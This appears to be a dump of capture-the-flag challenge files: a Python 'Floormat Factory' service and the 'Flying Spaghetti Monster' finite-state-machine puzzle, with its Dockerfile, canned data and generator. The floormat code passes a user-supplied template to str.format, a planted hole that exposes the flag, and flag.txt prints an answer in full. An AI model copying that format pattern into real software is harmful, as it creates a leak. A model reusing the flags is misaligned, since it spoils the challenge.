    "content": "#!/usr/bin/python3.8\nimport os\nimport abc\nimport string\nimport random\n\nwith open(\"flag.txt\") as f:\n    FLAG = f.read()\n\nclass Design(abc.ABC):\n    def __init__(self, design=[]):\n        self._design = design \n        self._i = -1\n    \n    def items(self):\n        return \"\".join(self._design)\n    \n    def get_next(self):\n        self._i = (self._i + 1) % len(self._design)\n        return self._design[self._i]\n\n    \n    def __str__(self):\n        return self.get_next()\n\nclass Rotate(Design):\n    def __init__(self):\n        super().__init__(design=[\"-\", \"/\", \"|\", \"\\\\\"])\n\nclass Circles(Design):\n    def __init__(self):\n        super().__init__(design=[\".\", \"o\", \"0\", \"O\", \"0\", \"o\"])\n\nclass Random(Design):\n    def __init__(self):\n        super().__init__(design=string.ascii_lowercase)\n    \n    def get_next(self):\n        return random.choice(self._design)\n\ndesigns = {\n    'Flutter': Rotate(),\n    'Fragment':  Circles(),\n    'Festival': Random()\n}\n\ntemplates = {\n    'Fundamental': '\\n'.join([\n        \"+\" + \"-\"*20 + \"+\",\n        \"|\" + \"{f}\"*20 + \"|\",\n        \"|\" + \"{f}\"*20 + \"|\",\n        \"|\" + \"{f}\"*20 + \"|\",\n        \"|\" + \"{f}\"*20 + \"|\",\n        \"|\" + \"{f}\"*20 + \"|\",\n        \"+\" + \"-\"*20 + \"+\"\n    ]),\n    'Flabbergasting': '\\n'.join([\n        \"+-----+-----+-----+-----+\",\n        \"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\",\n        \"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\",\n        \"+-----+-----+-----+-----+\",\n        \"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\",\n        \"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\",\n        \"+-----+-----+-----+-----+\"\n    ])\n}\n\ndef banner():\n    print(\"Welcome to the Fabulous Floormat Factory (FFF)!\")\n    print(\"In our fabled facility we fabricate fantasticly fashionable floormats for free!\")\n    print(\"Furthermore, for the foreseeable future FFF will fork-out flags to fastidious followers.\")\n    print('')\n\ndef get_happy_f():\n        return random.choice([\"Fun\", \"Foxy\", \"Fetching\"])\n\ndef get_sad_f():\n    return random.choice([\"Fail\", \"Foolish\", \"Foul\"])\n\ndef custom_template():\n    print('Fascinating! Forgoing the featured furniture and finding the flexible function.')\n    print('Fill in your floormat format. {f} flags fancy fabric, F finalizes')\n    print('For example, Fundamental:')\n    print(templates['Fundamental'])\n    print('F')\n    print('')\n\n    print('Format:')\n    buffer = \"\"\n    while (l := input()) != 'F':\n        buffer += l\n\n    return buffer\n\n\ndef get_template():\n    print(\"FFF features a few foundational floormat forms:\")\n    for nm, floormat in templates.items():\n        print('[{}]:'.format(nm))\n        print(floormat.format(f=' '))\n        print('')\n    \n    selection = input(\"Fill in your favorite: \")\n    try:\n        template = templates[selection.title()]\n    except KeyError:\n        print('')\n        template = custom_template()\n    \n    print(get_happy_f() + \"!\")\n    print('')\n\n    return template\n\ndef get_pattern():\n    print('Finally, find the fairest felt furnishings!')\n    for nm, pattern in designs.items():\n        print('[{}]:'.format(nm))\n        print(pattern.items())\n        print('')\n    \n    while True:\n        selection = input('Favorite: ')\n        try:\n            return designs[selection.title()]\n        except KeyError:\n            print(get_sad_f() + '!')\n            pass\n\nif __name__ == '__main__':\n    import sys\n    sys.tracebacklimit = 0\n    sys.excepthook = lambda t,e,b: print('\\n\\n' + ('Farewell!' if t is KeyboardInterrupt or t is EOFError else 'F***!'))\n\n    banner()\n\n    template = get_template()\n    pattern = get_pattern()\n\n    print('')\n    print('Formulating...')\n    floormat = template.format(f=pattern)\n\n    print('Finished! Felicitations on your Floormat!')\n    print('')\n    print(floormat)\n    print('')\n\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/.dockerignore",
    "content": "solve/\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/.gcloudignore",
    "content": "solve/\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/Dockerfile",
    "content": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04\n\nCOPY ./challenge/requirements.txt /home/ctf/chal/\nRUN pip install -r /home/ctf/chal/requirements.txt\n\nCOPY ./challenge/fsm.py /home/ctf/chal/\nCOPY ./challenge/fsm.txt /home/ctf/chal/\nCOPY ./challenge/canned.json /home/ctf/chal/\nCOPY ./challenge/flag.txt /home/ctf/chal/\nCOPY ./challenge/server.py /home/ctf/chal/\nCOPY ./challenge/pow.py /home/ctf/chal/\nCOPY ./challenge/entry.sh /home/ctf/chal/pwn\n\nENV TIME_LIMIT 300\nENV CPU_SHARES_MS=300\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/README.md",
    "content": "# Flying Spaghetti Monster\n\n**Category:** misc\n\n**Difficulty:** hard\n\n**Author:** hypersphere (Cybears)\n\nA glorious tangle came toward me and in it I saw my path unfolding, traced by a single noodly appendage, winding with linear purpose though his corporeal form. Beautiful visions composed of primary colours led me forward, and eventually I reached the end without knowing precisely how I had arrived.\n\n**Attached files:**\n  - ./challenge/fsm.txt (sha256: ff1672263df20678d27725cca0735f22fc47e01376522a772b96ebe9a58a2a0a)\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/challenge/canned-inputs.txt",
    "content": "# We do a few simple challenges without timeouts first\n# This first one is the challenge \"42\", not a timeout of 42\n42\n# Walks a pair of edges back and forth\nlol\n# And then repeats the path\nlolol\n# This one hits a node self-loop to ensure they understand that\ndeadbeef\n# These should ensure they can determine edge order\ncafec0de\nc0decafe\n\n# Now we'll do some longer ones and add timeouts to ensure they can go fast\nhaving fun yet?;120\ncorrect horse battery staple;60\n\n# It should be necessary to be smart from now on, stupid solvers will hit a\n# wall as we go faster and faster\ngotta go faster, faster, faster, faster, faster;30\n# This is a rick roll lol\nhttps://www.youtube.com/watch?v=0SoNH07Slj0;15\n\n# Popular culture <:)\nsomebody once told me the world is gonna roll me i ain't the sharpest tool in the shed;5\n# Next lines reversed\ndaeherof reh no L na fo epahs eht ni bmuht reh dna regnif reh htiw bmud fo dnik gnikool saw ehs;3\n# Literature - this one is deliberately tight, with the goal being to force the\n# player to realise that they don't need to waste time factoring at all. We\n# only force them to match decent Python performance though so there are a\n# bunch of ways they can still meet this criteria while still factoring `a`.\nAccording to all known laws of aviation, there is no way that a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyways. Because bees don't care what humans think is impossible.;2\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/challenge/canned.json",
    "content": "[{\"data\": \"42\", \"f_expr\": \"1042029647*x + 41704533\", \"final_state\": 28}, {\"data\": \"lol\", \"f_expr\": \"14401024110667*x + 4650182658453\", \"final_state\": 97}, {\"data\": \"lolol\", \"f_expr\": \"18241665532237862456081*x + 5890350301995688914479\", \"final_state\": 97}, {\"data\": \"deadbeef\", \"f_expr\": \"2746916201054036664294016387074070051*x + 241142791363925067693851688018997478\", \"final_state\": 73}, {\"data\": \"cafec0de\", \"f_expr\": \"9590746787461567014155271770806774103*x + 1526575838236987809158728386773769844\", \"final_state\": 12}, {\"data\": \"c0decafe\", \"f_expr\": \"9590746787461567014155271770806774103*x + 1526571070411941899002178414921623924\", \"final_state\": 12}, {\"data\": \"having fun yet?\", \"f_expr\": \"28434662410838915516131616032379482312309841568914466091635141606659*x + 2387428378618267892626109337760067581090803172680685687062400910524\", \"final_state\": 15, \"timeout\": 120}, {\"data\": \"correct horse battery staple\", \"f_expr\": \"36129737063038760136169463393868734625342819744656989643480320898211984793309885569387522104361125246674950241987900558243903729*x + 5751252875178506646790525306611733739896848388345903359929011438615561791554303409140037988456554731100624961794794554680066372\", \"final_state\": 12, \"timeout\": 60}, {\"data\": \"gotta go faster, faster, faster, faster, faster\", \"f_expr\": \"1091710448372424154515374739895252203221838786640397847027292294006067778487322543295537127353736758414406080385789143595612754500402033411149068103162511243882170591069245972545449739712056847038075026684448741309*x + 472470464377170694445636992249782925763602184534196425520729720687677893734022345171828427621286586909509052706733821586176441860476060471974452244683028710135972575237203881408141201470878592878519711325682481734\", \"final_state\": 37, \"timeout\": 30}, {\"data\": \"https://www.youtube.com/watch?v=0SoNH07Slj0\", \"f_expr\": \"548621778689327194416944689146782846252569581958156466004106459667136559717562952827415377469782781519203282927919716807348196811239036069084959882011387734400928968273763399014856579266242499*x + 46063818059063893398952808742173161322287597880756937094226742359840971361637248291220645198247826085234783078826405215540726026139553530412686535002406845289633577657390148811989464917092749\", \"final_state\": 4, \"timeout\": 15}, {\"data\": \"somebody once told me the world is gonna roll me i ain't the sharpest tool in the shed\", \"f_expr\": \"479421777883271666468146753494736172018079080584294669421088787488098473419295239394416724386647770134978169605368601923271428260014667357360100153132342564663064495975958364832460878067006464012889649157676952261876074133180056458556286925490304036717383841939101018909182708506804794561055868239397707425776680578916756853917433307935138239283493723891557505988231759854484745768365591883307897*x + 77347587851573787218749637129960690645502355910288580358125782597741180405972512415400006034168364977302560339850014114222211231434482893074087777186498207478319090599805676477087651921335526489870658704656058980301262344587405834252817437801716175044356199800390286058704926119533130618491857266593735502810561044574837369392110168512964517104598995168041358980219570626532444750037152254066594\", \"final_state\": 79, \"timeout\": 5}, {\"data\": \"daeherof reh no L na fo epahs eht ni bmuht reh dna regnif reh htiw bmud fo dnik gnikool saw ehs\", \"f_expr\": \"31365848204418930965635313241838402762529134776630873380881186659921879035982152667065465335341508971295469552338803409583363372917349837476645010797477789215617948696770800383723235193412396286222854743378426132495504272854298682097892484647677947948642935127643706743083956396246951311305488157343969980690973886753825939786337553451136668168478259921678936446001823168950297863888518662046144801894025999159124309600815547304255587042071*x + 2753504506715151593092473582968618771092470974704477586205647390039555263631791534208553947107837818229022672456363055076726231023266424093550326447728744791051853985131413984076475493941020845270310200945504910149500406142151723301710283164596131041710525488966778558289524830608497174732143035968046680980621951514130746578786027638341928358315620693199609714127547993905135080741494699125328135369507866911476767390774896502083814916196\", \"final_state\": 9, \"timeout\": 3}, {\"data\": \"According to all known laws of aviation, there is no way that a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyways. Because bees don't care what humans think is impossible.\", \"f_expr\": \"3373820536786674952198127042154169032439902448102814244503493231610374456669808245575707729576090460710518180869304366869157798724568811275983495027902488181445015353481264528399718221833508588261819318049879050995052711371956644870520249836570020938572412522516769916878493663173093348125666093428857322322977019732357758911939697611666985495597834639941253779450730342696085546014156670648106330393424170647993166208764331402365185512037326532491661134074677172897291443809176435004585976131644227720326887849313159337784837886345039400695110164336589278413233519008959794266798532403191429171637451437141374452375000971737616193643185897026248452695685483915702248412268858744178342118744208135799765312554919183969398057754921396573043969757249120591228465279757921458446461912734795992718093412693586878177460918208256512609579783574850058447665097432251894593516088160760967973482145985140992675297629698274155399372103655875662784921969024682816274256882023007014038115959022435900566813588779113342235192675650030816280715354970593969126773771545236201872799886163937499817007189956610108822159340412032237906299612365121969145678512389*x + 199884323911985492249476895766514930286875476772930808291872923023664097301389698600375878597690647203723594837254200802392207762712141433387495454093173875405751549880480108081781216206143818779492700937188072769851651865200612812562787963041267097030808543629725900834636559589975191733380553979817649400996566519075475002689665948133980707225794345412219604938547738289278063475276256119846256763760588288440747375404244621733023870306805886379644409422049775194198118153219025572410289365222680770782504601746847789188733693895657690362638593763662479456505384067651329689457311394754191948153650643512043879611121774927989104337798102987124379704992754591539484524316385421784561556684591053801928662478267007244305378756759195021831116638957604706143847650951132504166098552451813494554003898611348692575455069944258463861275393069446138819164220537554347261943791591260150716209259883381439285613523684678666526595759980214172678241493214354845770655318959645083430411919762672045677374456189829671007670171878558370467607317330783901661152782874846854750652323043755895402038295743072462126619357257017556745099028059691827504634570346\", \"final_state\": 10, \"timeout\": 2}]"
  },
  {
    "path": "misc/flying-spaghetti-monster/challenge/entry.sh",
    "content": "#!/bin/bash\n\nPOW_DIFFICULTY=8000\n\nif ! /chal/pow.py ask \"$POW_DIFFICULTY\"; then\n    echo 'pow fail'\n    exit 1\nfi\n\nexec \"./server.py\""
  },
  {
    "path": "misc/flying-spaghetti-monster/challenge/flag.txt",
    "content": "DUCTF{fsms-m4k3-m3-smfh-fsmsfsmsfsmsfsmsfsm}\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/challenge/fsm.py",
    "content": "import inspect\nimport itertools\nimport json\nimport random\nimport string\n\nimport networkx\nimport sympy\n\nGEN_CHUNK = 8192\nx = sympy.symbols(\"x\")\n\ndef linfunc_gen(n=None):\n    i = 0\n    if n is None:\n        gi = itertools.count()\n    else:\n        gi = range(n // GEN_CHUNK + 2)\n    ps = iter(sympy.ntheory.generate.Sieve())\n    for i in gi:\n        cs = random.sample(range(GEN_CHUNK), GEN_CHUNK)\n        for p, c in zip(ps, cs):\n            yield sympy.Poly(p * x + c + (i * GEN_CHUNK), x)\n\nclass FSM():\n    def __init__(self, g):\n        self.g = g\n\n    @classmethod\n    def new(cls, alphabet=string.printable):\n        # We shuffle the alphabet so that monotonic state numbers don't leak it\n        alphabet = list(alphabet)\n        random.shuffle(alphabet)\n        g = networkx.complete_graph(alphabet, create_using=networkx.DiGraph)\n        # Add loop edges so we can repeat characters\n        for n in g.nodes:\n            g.add_edge(n, n)\n        # Now generate random linear functions for each edge\n        ec = len(g.edges)\n        for e, f in zip(random.sample(tuple(g.edges), ec), linfunc_gen(ec)):\n            ed = g.edges[e]\n            ed[\"f\"], ed[\"n\"] = f, ord(e[1])\n            ed[\"fe\"] = fe = f.as_expr()\n        # Now that we've added the values to the edges, we can anonymise the\n        # node into a monotonic series of integer values\n        return cls(networkx.convert_node_labels_to_integers(g))\n\n    @classmethod\n    def load(cls, fobj):\n        g = networkx.DiGraph()\n        for edge_repr in fobj.readlines():\n            a_b, n, fe = edge_repr.strip().split(\"\\t\")\n            a, b = a_b.split(\"->\")\n            a, n, b = map(int, (a, n, b))\n            f = sympy.Poly(fe)\n            g.add_edge(a, b, n=n, f=f, fe=fe)\n        return cls(g)\n\n    def save(self, fobj):\n        for a, b in random.sample(tuple(self.g.edges), len(self.g.edges)):\n            ed = self.g.edges[(a,b)]\n            fobj.write(f\"{a}->{b}\\t{ed['n']}\\t{ed['fe']}\\n\")\n\n    def as_edges(self, inputs):\n        # Convert an input iterable into a series of edge traversals. Note that\n        # we add an extra edge from the 0th element to itself to ensure it is\n        # explicitly included in the edge list.\n        first, *rest = inputs\n        for e in networkx.selfloop_edges(self.g):\n            if self.g.edges[e][\"n\"] == ord(first):\n                yield e\n                a = e[0]\n                break\n        else:\n            raise LookupError(f\"Failed to find loop edge for {first!r}\")\n        for c in rest:\n            for b, ed in self.g[a].items():\n                if ed[\"n\"] == ord(c):\n                    yield a, b\n                    a = b\n                    break\n            else:\n                raise LookupError(f\"Failed to find edge from {a!r} for {c!r}\")\n\n    def get_comp(self, inputs):\n        # Compose the linear functions along a path of input values\n        fa = sympy.Poly(x)\n        for e in self.as_edges(inputs):\n            fb = self.g.edges[e][\"f\"]\n            fa = fb.compose(fa)\n        return fa, e[1]\n\nif __name__ == \"__main__\":\n    print(\"Creating new FSM\")\n    fsm_obj = FSM.new()\n    fsm_obj.save(open(\"fsm.txt\", \"w\"))\n    print(\"Creating canned challenges\")\n    canned_data = []\n    for data in (l.strip() for l in open(\"canned-inputs.txt\").readlines()):\n        if not data or data.startswith(\"#\"):\n            continue\n        data, *maybe_timeout = data.split(\";\")\n        f, sf = fsm_obj.get_comp(data)\n        datum = {\n            \"data\": data,\n            \"f_expr\": str(f.as_expr()),\n            \"final_state\": sf,\n        }\n        if maybe_timeout:\n            (timeout, ) = maybe_timeout\n            datum[\"timeout\"] = int(timeout)\n        canned_data.append(datum)\n    json.dump(canned_data, open(\"canned.json\", \"w\"))\n    print(\"Done\")\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/challenge/fsm.txt",
    "content": "7->7\t126\t59141*x + 8045\n87->20\t62\t78809*x + 2638\n46->78\t76\t37693*x + 2099\n20->44\t45\t3389*x + 7787\n81->80\t110\t58913*x + 29\n64->79\t100\t2689*x + 5631\n76->7\t126\t30259*x + 2682\n96->20\t62\t64453*x + 2542\n17->45\t13\t11833*x + 828\n31->34\t41\t75659*x + 3942\n19->55\t39\t25931*x + 4215\n26->39\t113\t71569*x + 5640\n69->68\t36\t79231*x + 6411\n32->82\t40\t84223*x + 12778\n70->32\t69\t66191*x + 2600\n28->31\t47\t60793*x + 6673\n55->47\t90\t92863*x + 9576\n85->70\t57\t26759*x + 6582\n89->75\t56\t100103*x + 12753\n19->40\t34\t51767*x + 5025\n22->78\t76\t84239*x + 8723\n43->68\t36\t98327*x + 12415\n85->51\t97\t75149*x + 3217\n33->99\t54\t13049*x + 4608\n96->11\t43\t77291*x + 2817\n98->89\t107\t38113*x + 2431\n26->13\t99\t27329*x + 6129\n33->61\t10\t4889*x + 3125\n50->34\t41\t8837*x + 2730\n0->23\t11\t5791*x + 6797\n88->11\t43\t101581*x + 15684\n32->66\t44\t80231*x + 6906\n85->61\t10\t12917*x + 5484\n44->36\t79\t30293*x + 6415\n70->91\t91\t3527*x + 6939\n43->33\t122\t54959*x + 2245\n33->60\t85\t23159*x + 2708\n24->3\t118\t32983*x + 3821\n64->0\t33\t49481*x + 2517\n38->58\t35\t60443*x + 4961\n45->63\t60\t2999*x + 4346\n41->72\t92\t56827*x + 3208\n19->18\t80\t27211*x + 1065\n91->52\t42\t63761*x + 7972\n57->39\t113\t18211*x + 6000\n99->35\t88\t63709*x + 1108\n63->66\t44\t92077*x + 15876\n43->51\t97\t3967*x + 4146\n73->53\t120\t86927*x + 14325\n34->90\t86\t75239*x + 2494\n64->67\t117\t36767*x + 5909\n83->67\t117\t92219*x + 10343\n66->94\t125\t22079*x + 3986\n75->98\t93\t80329*x + 2703\n69->1\t112\t89689*x + 10856\n65->59\t84\t89809*x + 16085\n82->74\t55\t71257*x + 4160\n63->10\t46\t73453*x + 8065\n27->96\t67\t42157*x + 5687\n60->59\t84\t7741*x + 6600\n88->97\t108\t25253*x + 2715\n56->10\t46\t64237*x + 2529\n98->35\t88\t91463*x + 12302\n60->34\t41\t98429*x + 11326\n75->46\t74\t23741*x + 6975\n53->40\t34\t62417*x + 3793\n72->21\t9\t32213*x + 2281\n46->65\t95\t74453*x + 1274\n77->37\t114\t104233*x + 14064\n33->62\t103\t6581*x + 4567\n30->58\t35\t87877*x + 9239\n24->62\t103\t5821*x + 2788\n29->52\t42\t80777*x + 6255\n45->5\t82\t73141*x + 1106\n47->83\t12\t1999*x + 6739\n85->40\t34\t3671*x + 5522\n97->41\t73\t60623*x + 8105\n15->51\t97\t21377*x + 3667\n5->19\t61\t84431*x + 15377\n28->89\t107\t16447*x + 3003\n7->75\t56\t43661*x + 4492\n86->93\t98\t73387*x + 3617\n89->40\t34\t64333*x + 5903\n28->74\t55\t65539*x + 1981\n90->95\t111\t92557*x + 10281\n92->86\t53\t49331*x + 4876\n41->50\t116\t56921*x + 105\n9->48\t78\t73771*x + 3660\n63->88\t71\t77849*x + 3588\n80->5\t82\t22541*x + 7922\n18->14\t77\t86413*x + 9118\n56->58\t35\t98323*x + 14007\n67->18\t80\t99527*x + 15395\n47->45\t13\t55717*x + 7548\n26->43\t105\t24671*x + 1653\n65->0\t33\t2531*x + 8046\n71->17\t104\t13523*x + 6827\n1->90\t86\t32993*x + 6419\n91->29\t38\t4261*x + 381\n55->81\t32\t95917*x + 9328\n21->99\t54\t683*x + 7924\n40->12\t101\t46183*x + 6356\n19->15\t63\t18311*x + 5288\n70->50\t116\t10457*x + 5339\n17->73\t102\t97523*x + 15902\n92->94\t125\t92401*x + 15732\n18->46\t74\t62929*x + 3352\n25->18\t80\t7937*x + 6691\n24->36\t79\t63533*x + 7728\n94->7\t126\t52609*x + 1876\n21->11\t43\t31981*x + 2304\n4->24\t65\t24137*x + 2296\n30->5\t82\t64853*x + 3867\n1->42\t87\t1103*x + 3011\n87->49\t68\t8221*x + 475\n42->19\t61\t79601*x + 6087\n74->75\t56\t56269*x + 3982\n18->77\t106\t55813*x + 3785\n95->44\t45\t93241*x + 8644\n81->90\t86\t58243*x + 4073\n71->22\t64\t99277*x + 10330\n35->7\t126\t27109*x + 7086\n45->6\t123\t8521*x + 5046\n21->5\t82\t15121*x + 8179\n18->85\t83\t49037*x + 7500\n79->34\t41\t60763*x + 1524\n88->14\t77\t54121*x + 4479\n87->42\t87\t80233*x + 3518\n93->65\t95\t61627*x + 7698\n61->86\t53\t9439*x + 2273\n18->99\t54\t87641*x + 13120\n19->27\t58\t68449*x + 3611\n86->79\t100\t41809*x + 6009\n31->1\t112\t4597*x + 7357\n28->93\t98\t61057*x + 1953\n15->31\t47\t6337*x + 1288\n90->3\t118\t79997*x + 4568\n50->77\t106\t18587*x + 117\n28->95\t111\t35671*x + 7974\n82->30\t96\t15299*x + 450\n19->94\t125\t82591*x + 7653\n15->83\t12\t52177*x + 2666\n87->53\t120\t17747*x + 5066\n94->65\t95\t5689*x + 4212\n59->27\t58\t48383*x + 5677\n46->42\t87\t96059*x + 13777\n15->57\t109\t82799*x + 7353\n98->82\t40\t60889*x + 3954\n78->47\t90\t11329*x + 2728\n27->91\t91\t2*x + 6973\n33->43\t105\t45833*x + 1271\n59->97\t108\t89213*x + 8914\n10->36\t79\t31069*x + 3273\n17->78\t76\t94057*x + 14238\n66->45\t13\t12829*x + 265\n78->57\t109\t94109*x + 9754\n67->69\t59\t59359*x + 3438\n11->40\t34\t26249*x + 1281\n71->65\t95\t52457*x + 7063\n54->16\t66\t6607*x + 5331\n31->86\t53\t8171*x + 5145\n67->74\t55\t50497*x + 7057\n45->49\t68\t20663*x + 1758\n62->94\t125\t11801*x + 2230\n34->72\t92\t27793*x + 1182\n50->46\t74\t17939*x + 5917\n34->88\t71\t16921*x + 7047\n22->65\t95\t47339*x + 3915\n0->31\t47\t96469*x + 16306\n15->13\t99\t8167*x + 482\n55->79\t100\t99989*x + 10189\n8->37\t114\t87103*x + 8854\n25->10\t46\t401*x + 5340\n35->30\t96\t71389*x + 5880\n28->22\t64\t20533*x + 228\n26->11\t43\t78341*x + 3276\n52->17\t104\t95873*x + 12606\n23->63\t60\t28753*x + 3856\n84->58\t35\t30773*x + 6220\n66->30\t96\t100609*x + 12165\n14->6\t123\t96997*x + 14487\n64->75\t56\t37889*x + 6552\n6->27\t58\t31321*x + 5432\n33->49\t68\t61469*x + 5683\n4->40\t34\t85009*x + 15985\n37->8\t49\t15017*x + 4032\n45->22\t64\t59581*x + 2450\n51->58\t35\t100733*x + 10264\n60->66\t44\t81953*x + 6471\n55->48\t78\t73999*x + 276\n9->74\t55\t17683*x + 5771\n69->56\t119\t52021*x + 2457\n80->67\t117\t26723*x + 726\n67->88\t71\t43013*x + 4817\n97->52\t42\t78497*x + 7466\n47->88\t71\t18493*x + 399\n18->79\t100\t50777*x + 7788\n92->90\t86\t27259*x + 7685\n25->20\t62\t56171*x + 8067\n35->82\t40\t5417*x + 7914\n78->54\t94\t58217*x + 5751\n76->28\t50\t25189*x + 1611\n53->90\t86\t29959*x + 167\n35->6\t123\t62701*x + 3920\n37->48\t78\t68111*x + 4700\n12->35\t88\t45841*x + 4437\n61->36\t79\t54101*x + 7343\n21->48\t78\t34127*x + 3044\n36->21\t9\t16493*x + 4658\n94->1\t112\t14153*x + 5797\n53->9\t115\t54421*x + 5106\n61->34\t41\t48677*x + 838\n73->44\t45\t37423*x + 5737\n20->17\t104\t91691*x + 10200\n81->8\t49\t43391*x + 5806\n26->41\t73\t55843*x + 7647\n48->69\t59\t102329*x + 14524\n63->78\t76\t91019*x + 11290\n30->66\t44\t42979*x + 383\n57->8\t49\t46141*x + 6520\n33->37\t114\t32999*x + 1545\n43->96\t67\t90677*x + 14757\n20->43\t105\t827*x + 7913\n66->50\t116\t76147*x + 5654\n30->94\t125\t92269*x + 13972\n56->17\t104\t29333*x + 832\n71->57\t109\t4177*x + 6911\n62->31\t47\t84229*x + 15767\n27->72\t92\t8387*x + 1764\n48->1\t112\t64151*x + 4793\n38->34\t41\t85313*x + 10972\n48->30\t96\t54581*x + 7425\n56->27\t58\t35401*x + 2297\n11->37\t114\t43411*x + 2988\n22->31\t47\t42491*x + 3956\n28->84\t89\t15263*x + 8059\n31->66\t44\t59239*x + 5065\n21->9\t115\t81847*x + 2382\n97->33\t122\t43649*x + 3452\n32->35\t88\t72313*x + 6824\n98->54\t94\t36697*x + 1548\n53->28\t50\t58111*x + 1042\n58->77\t106\t65657*x + 8007\n55->51\t97\t48119*x + 5777\n10->43\t105\t67421*x + 6929\n0->13\t99\t70921*x + 751\n13->80\t110\t31081*x + 1377\n36->65\t95\t25117*x + 3392\n38->75\t56\t97973*x + 15630\n60->73\t102\t78803*x + 6172\n40->34\t41\t51283*x + 6560\n29->19\t61\t71999*x + 4181\n56->33\t122\t84059*x + 14884\n3->70\t57\t59243*x + 4385\n74->40\t34\t62639*x + 6484\n51->23\t11\t77101*x + 6239\n58->85\t83\t45191*x + 3107\n67->15\t63\t67567*x + 2816\n55->3\t118\t38917*x + 2553\n49->39\t113\t26839*x + 5134\n28->97\t108\t26891*x + 95\n70->80\t110\t53777*x + 5760\n76->22\t64\t21341*x + 829\n44->59\t84\t85999*x + 16017\n22->67\t117\t40241*x + 3220\n79->93\t98\t54709*x + 6974\n45->82\t40\t2269*x + 1453\n70->52\t42\t101333*x + 14426\n91->20\t62\t95393*x + 9396\n63->20\t62\t73943*x + 1807\n93->50\t116\t38609*x + 2094\n98->10\t46\t13873*x + 6683\n37->0\t33\t31379*x + 826\n36->90\t86\t59693*x + 2602\n7->18\t80\t38461*x + 4046\n79->60\t85\t48533*x + 5454\n93->41\t73\t78427*x + 3148\n2->38\t75\t74287*x + 6458\n60->40\t34\t29387*x + 7351\n66->63\t60\t30091*x + 4861\n90->86\t53\t54517*x + 5538\n97->97\t108\t11369*x + 3671\n4->17\t104\t2677*x + 3878\n11->79\t100\t23789*x + 6133\n99->37\t114\t50767*x + 4483\n63->71\t37\t104281*x + 9798\n27->11\t43\t36451*x + 5609\n3->88\t71\t29573*x + 181\n43->69\t59\t4451*x + 5758\n28->12\t101\t1801*x + 2482\n95->87\t121\t89923*x + 11792\n74->84\t89\t38543*x + 546\n48->97\t108\t12953*x + 3873\n0->36\t79\t48121*x + 242\n68->7\t126\t8297*x + 2979\n10->37\t114\t79043*x + 536\n77->78\t76\t2341*x + 2015\n89->81\t32\t29363*x + 2459\n96->55\t39\t104561*x + 12322\n37->95\t111\t48733*x + 6269\n75->82\t40\t1181*x + 2210\n65->32\t69\t57559*x + 4974\n59->65\t95\t83689*x + 1450\n88->36\t79\t52973*x + 7660\n10->28\t50\t67901*x + 1586\n32->31\t47\t83221*x + 2056\n63->42\t87\t93971*x + 9168\n97->0\t33\t32609*x + 1366\n5->54\t94\t51839*x + 7626\n92->76\t124\t30139*x + 5626\n88->37\t114\t21013*x + 734\n43->13\t99\t34351*x + 6669\n9->86\t53\t51971*x + 6757\n20->7\t126\t62099*x + 3036\n21->2\t72\t88037*x + 8238\n32->52\t42\t27611*x + 211\n87->70\t57\t94993*x + 8863\n71->60\t85\t79151*x + 2228\n10->34\t41\t39709*x + 5803\n79->96\t67\t52631*x + 1266\n80->35\t88\t90149*x + 13690\n71->62\t103\t20173*x + 5378\n57->5\t82\t31189*x + 6076\n59->44\t45\t60017*x + 2677\n65->22\t64\t13781*x + 6668\n56->76\t124\t8969*x + 2333\n69->29\t38\t52861*x + 3658\n1->23\t11\t71069*x + 3477\n64->82\t40\t16693*x + 870\n15->69\t59\t70841*x + 781\n81->51\t97\t6317*x + 2162\n97->64\t70\t97021*x + 10658\n63->49\t68\t86869*x + 12508\n62->92\t51\t79903*x + 6143\n21->88\t71\t30269*x + 3299\n87->25\t52\t28607*x + 2596\n26->0\t33\t40699*x + 6557\n60->12\t101\t39607*x + 3700\n50->43\t105\t99923*x + 8812\n36->39\t113\t17923*x + 2289\n99->97\t108\t92189*x + 13816\n1->91\t91\t41969*x + 3735\n85->12\t101\t90313*x + 11163\n26->20\t62\t33613*x + 3767\n41->5\t82\t94033*x + 14575\n82->32\t69\t75347*x + 581\n50->65\t95\t97303*x + 15471\n33->2\t72\t38039*x + 4319\n57->19\t61\t52757*x + 6838\n13->55\t39\t16033*x + 3687\n38->78\t76\t82619*x + 2777\n45->39\t113\t21397*x + 2502\n47->62\t103\t38639*x + 7816\n37->89\t107\t47297*x + 607\n68->78\t76\t1051*x + 2825\n79->53\t120\t87071*x + 8582\n61->63\t60\t70823*x + 7554\n37->15\t63\t79031*x + 7453\n59->22\t64\t77471*x + 6542\n31->87\t121\t25411*x + 2420\n76->21\t9\t97117*x + 11550\n26->22\t64\t63347*x + 754\n85->11\t43\t97453*x + 14078\n82->97\t108\t80239*x + 7904\n94->33\t122\t53719*x + 6731\n72->67\t117\t33713*x + 1074\n66->64\t70\t28549*x + 6515\n20->50\t116\t67049*x + 4864\n83->34\t41\t91909*x + 14949\n9->54\t94\t37447*x + 114\n56->44\t45\t9151*x + 1655\n37->27\t58\t6361*x + 5796\n76->49\t68\t26861*x + 1678\n26->25\t52\t8017*x + 3578\n95->89\t107\t85931*x + 13470\n37->13\t99\t25111*x + 464\n2->73\t102\t57601*x + 5611\n36->67\t117\t38177*x + 6174\n42->70\t57\t83791*x + 6878\n20->20\t62\t7247*x + 3902\n72->10\t46\t29537*x + 4299\n55->92\t51\t61381*x + 697\n16->31\t47\t83269*x + 7721\n87->6\t123\t85577*x + 8421\n78->28\t50\t70997*x + 6313\n15->76\t124\t11113*x + 